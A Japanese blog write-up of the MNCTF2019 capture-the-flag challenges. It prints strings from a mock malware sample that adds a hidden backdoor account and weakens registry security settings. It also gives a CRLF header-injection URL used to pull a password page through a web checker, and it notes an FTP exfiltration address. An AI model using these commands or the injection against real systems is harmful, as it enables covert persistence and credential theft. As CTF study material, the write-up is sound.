a

よろしくのキワミ

MNCTF2019 writeup

MNCTF2019 writeup

2020/2/3 開始

本当は時間制限を設けてやるものらしいのだが、全ての問題を解きたかったので(後から知ったので)時間は測らずにまったりやってます。

悪意部品

標的攻撃I

vmdk形式のディスクイメージが渡される。

a.EXEという名前の実行ファイルがある。

f:id:toDo:20200202182004p:plain

hashをとってやる

f:id:toDo:20200202181958p:plain

標的攻撃Ⅱ

仮想マシン上でmalwareを実行してユーザーなどを確認するが、特に追加されてるように見えない。

マルウェアを解析する。

  • strings
!This program cannot be run in DOS mode.
.text
 .data
@.import
h1 @
h6 @
h1 @
h1 @
/c net user /add SUPPORT_388945a1 @Abc123456
open
/c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f && reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v SUPPORT_388945a1 /d 0 /t REG_DWORD /f && reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v forceguest /t REG_DWORD /d 0 /f && net accounts /MaxPWAge:unlimited
/c del a.exe
This sample is a part of MNCTF 2019, cyber challenge. Not a malware. @Sh1n0g1 
kernel32.dll
shell32.dll
ExitProcess
Sleep
ShellExecuteA

この部分

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v SUPPORT_388945a1

レジストリを操作しており、ユーザーのリストにSUPPORT_388945a1を追加している。

管理者権限出なかったから失敗したっぽい。

管理者権限で実行してみる。

f:id:toDo:20200202190853p:plain

追加されていることがわかった。

標的攻撃Ⅲ

Ⅱで入手した名前でOSINTする。

f:id:toDo:20200202191343p:plain

ここに書いてある

標的攻撃Ⅳ

作成したユーザをログイン画面で非表示にするためのレジストリキー名を答えよ。

そんなのあるの

検索すると以下のサイトが分かりやすかった。

tialalight.cocolog-nifty.com

stringsで見つかった文字列のなかにこれに似たものがある。

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList

建屋制御Ⅰ

pcapファイルを見て空調コントローラーのlocationを特定しろと言う問題。

通信のプロトコルにはBACnetという物を使用しているらしい

locationの値が出てくるような通信はレスポンスだろうと考え、気合で探す。

f:id:toDo:20200203110616p:plain

建屋制御Ⅰ

情報漏洩I

難読化したbatファイルが渡される。

全く読めないので全ての行にechoをつけて実行する。

f:id:toDo:20200203095551p:plain

見てみると、temp.txtというファイルを出力している

f:id:toDo:20200203100612p:plain

ここに書かれている設定をftpに渡して実行している

f:id:toDo:20200203101215p:plain

問題は、ツールの名前を答えろとのことなので、1行目に出力されていたツール名が答え

情報漏洩Ⅱ

盗まれた文書の文書内の「タイトル」を答えよ。

batファイルには*.xlsとあるが、ファイル名らしいものはどこにも書いてなさそう。(temp.txtは一時ファイルなので違う)

157.7.53.197というアドレスがあるのでftpで接続する。

多分ここにあるけど、学内からはftpで接続できないので帰ってからやる

暗証保護

webサイトからパスワードを読み取る問題

リンク先を見る

f:id:toDo:20200202171120p:plain

password.phpの方を開くと以下の画面。

f:id:toDo:20200202171237p:plain

ここを何とかしてリモートからパスワードを見るっぽい。

ソースコードを見てみるとbodystyleにいろいろ入れている。

もう一方のファイルを見てみる。

f:id:toDo:20200202171512p:plain

headerとbodyの内容を表示してくれるのかな?

試しに自分自身のURLを入れてみる

f:id:toDo:20200202171727p:plain

headerの内容と少しだけbodyの要素が帰ってくる。

password.phpのURLを入れても全てのパスワードが帰ってこないので、どうするのか考える。 HTTPのレスポンスの長さが少ないのでこれを長くする方法を考える。

いろいろやってるとHTTPヘッダインジェクションができることがわかった。
%0D%0Aを挟むことで任意のhttp headerを追加する

contents-lengthを指定してやる

http://mnctf.info/mnctf2019/task/admin/webchecker.php?host=localhost&path=%2Fmnctf2019%2Ftask%2Fadmin%2Fpassword.php%0D%0AContent-Length:%205000

f:id:toDo:20200202174547p:plain

感想

面白かった

プライバシーポリシー お問い合わせ